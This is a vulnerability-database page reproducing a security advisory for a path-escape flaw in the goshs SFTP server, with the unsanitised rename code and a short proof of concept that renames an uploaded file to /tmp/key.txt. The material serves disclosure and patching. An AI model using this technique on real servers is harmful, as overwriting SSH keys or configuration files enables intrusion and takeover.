CVE-2026-40188: goshs is Missing Write Protection for Parametric Data Values
Summary The SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. Details Here is the issue: PoC To exploit just upload a file on the SFTP and rename it to a file with full path. Currently no key.txt file inside /tmp Start the SFTP server: Connect to the SFTP and uploading the file: The file is stored properly.
Published Apr 10, 2026
Affected packages
github.com/patrickhener/goshs
- Ecosystem
- Go
- Affected
- >= 1.0.7, <= 1.1.4
- Fixed in
- No patched version yet
- Check
go list -m github.com/patrickhener/goshs
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP.
Details
Here is the issue:
// helper.go:155-215
func cmdFile(root string, r *sftp.Request, ip string, sftpServer *SFTPServer) error {
fullPath, err := sanitizePath(r.Filepath, root) // Source: SANITIZED
if err != nil {
return err
}
switch r.Method {
// ...
case "Rename":
err := os.Rename(fullPath, r.Target) // Destination: NOT SANITIZED!PoC
To exploit just upload a file on the SFTP and rename it to a file with full path.
Currently no key.txt file inside /tmp
$ ls key.txt
ls: key.txt: No such file or directoryStart the SFTP server:
/tmp/sftp-server $ goshs -sftp -b 'user:user' -d .
WARNING[2026-04-02 20:00:18] upload-folder mode deactivated due to use of 'sftp' mode
WARNING[2026-04-02 20:00:18] There is a newer Version (v2.0.0-beta.3) of goshs available. Run --update to update goshs.
INFO [2026-04-02 20:00:18] Starting SFTP server on port 0.0.0.0:2022
WARNING[2026-04-02 20:00:18] You are using basic auth without SSL. Your credentials will be transferred in cleartext. Consider using -s, too.
INFO [2026-04-02 20:00:18] Using basic auth with user 'user' and password 'user'
INFO [2026-04-02 20:00:18] Download embedded file at: /example.txt?embedded
INFO [2026-04-02 20:00:18] Serving on interface lo0 bound to 127.0.0.1:8000
INFO [2026-04-02 20:00:18] Serving on interface en0 bound to 192.168.68.51:8000
INFO [2026-04-02 20:00:18] Serving HTTP from /tmp/sftp-serverConnect to the SFTP and uploading the file:
$ sftp -P 2022 user@localhost
user@localhost's password:
Connected to localhost.
sftp> put /Users/user/Downloads/key.txt
Uploading /Users/user/Downloads/key.txt to /tmp/sftp-server/key.txt
key.txt 100% 15 40.9KB/s 00:00The file is stored properly.
goshs log:
INFO [2026-04-02 20:03:31] SFTP: [::1]:61742 - [Put] - "/tmp/sftp-server/key.txt"Rename command with full path:
sftp> rename key.txt /tmp/key.txtgoshs log:
INFO [2026-04-02 20:04:09] SFTP: [::1]:61742 - [Rename] - "/tmp/sftp-server/key.txt to /tmp/key.txt"Key file is now in /tmp
$ ls key.txt
key.txtImpact
This allows file write and can be used either for an RCE in form of overwrite an SSH key, or by overwriting a configuration etc.
Credited to marduc812.
References
- https://github.com/patrickhener/goshs/security/advisories/GHSA-2943-crp8-38xx
- https://github.com/patrickhener/goshs/commit/141c188ce270ffbec087844a50e5e695b7da7744
- https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4
- https://nvd.nist.gov/vuln/detail/CVE-2026-40188
- https://github.com/advisories/GHSA-2943-crp8-38xx
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-54719
goshs: File-based .goshs ACL authorization bypass via the ?bulk zip-download route (unauthenticated read; residual of GHSA-wvhv-qcqf-f3cx)
high7.5No fixJul 28, 2026CVE-2026-64863
goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite
critical9.1No fixJul 28, 2026CVE-2026-66063
goshs has a Path Traversal issue
medium6.5No fixJul 28, 2026CVE-2026-66064
goshs has ACL Bypass & Path Traversal
medium5.3No fixJul 28, 2026CVE-2026-42091
goshs has Cross-Origin Arbitrary File Write via Missing CSRF on PUT and Wildcard CORS
medium6.5No fixApr 23, 2026CVE-2026-40876
SFTP root escape via prefix-based path validation in goshs
high8.8No fixApr 14, 2026
